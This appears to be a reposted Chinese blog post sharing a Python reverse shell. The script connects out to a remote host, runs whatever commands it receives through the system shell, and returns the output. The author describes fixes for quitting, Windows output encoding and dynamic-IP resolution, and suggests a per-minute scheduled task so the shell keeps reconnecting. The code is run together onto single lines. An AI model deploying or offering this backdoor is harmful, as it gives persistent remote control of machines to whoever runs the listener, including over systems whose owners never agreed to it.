文章出處

雖然不是自己寫的,但是改了三個部分,網上發的這個,quit退出功能無法使用,因為傳過來的字符串其實是加了\n的,為了更人性化,我加了去空格。
第二個部分就是windows下的亂碼問題,這里我先用了decode進行解碼,然后encode編碼傳過去(吐槽一下,這個windows下亂碼問題,saltstack都沒解決,不知道什么情況)
這個腳本可以用計劃任務1分鐘執行1次,不用擔心腳本重啟啟動問題,因為端口被占用后是無法執行成功的
,所以不用擔心。
服務端退出可以不用quit,直接ctrl+c,客戶端是可以退出的

第三部分加了host = socket.gethostbyname(host) ,可以支持動態ip,防止更換ip造成客戶端丟失

import subprocessimport sockethost = "host"host = socket.gethostbyname(host)port = portclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect((host, port))client.send("Connected! quite to exit!\nCommand here: ")while 1:     data = client.recv(1024)     if data.lstrip() ==  "quit\n": break     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)     stdoutput = proc.stdout.read()+proc.stderr.read()     stdoutput = stdoutput.decode('gbk').encode('utf-8')     client.send(stdoutput)client.send("Bye!")client.close()

這里寫圖片描述

就愛閱讀www.92to.com網友整理上傳,為您提供最全的知識大全,期待您的分享,轉載請注明出處。
歡迎轉載:http://www.kanwencang.com/bangong/20161216/71626.html

文章列表


不含病毒。www.avast.com
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 大師兄 的頭像
    大師兄

    IT工程師數位筆記本

    大師兄 發表在 痞客邦 留言(0) 人氣()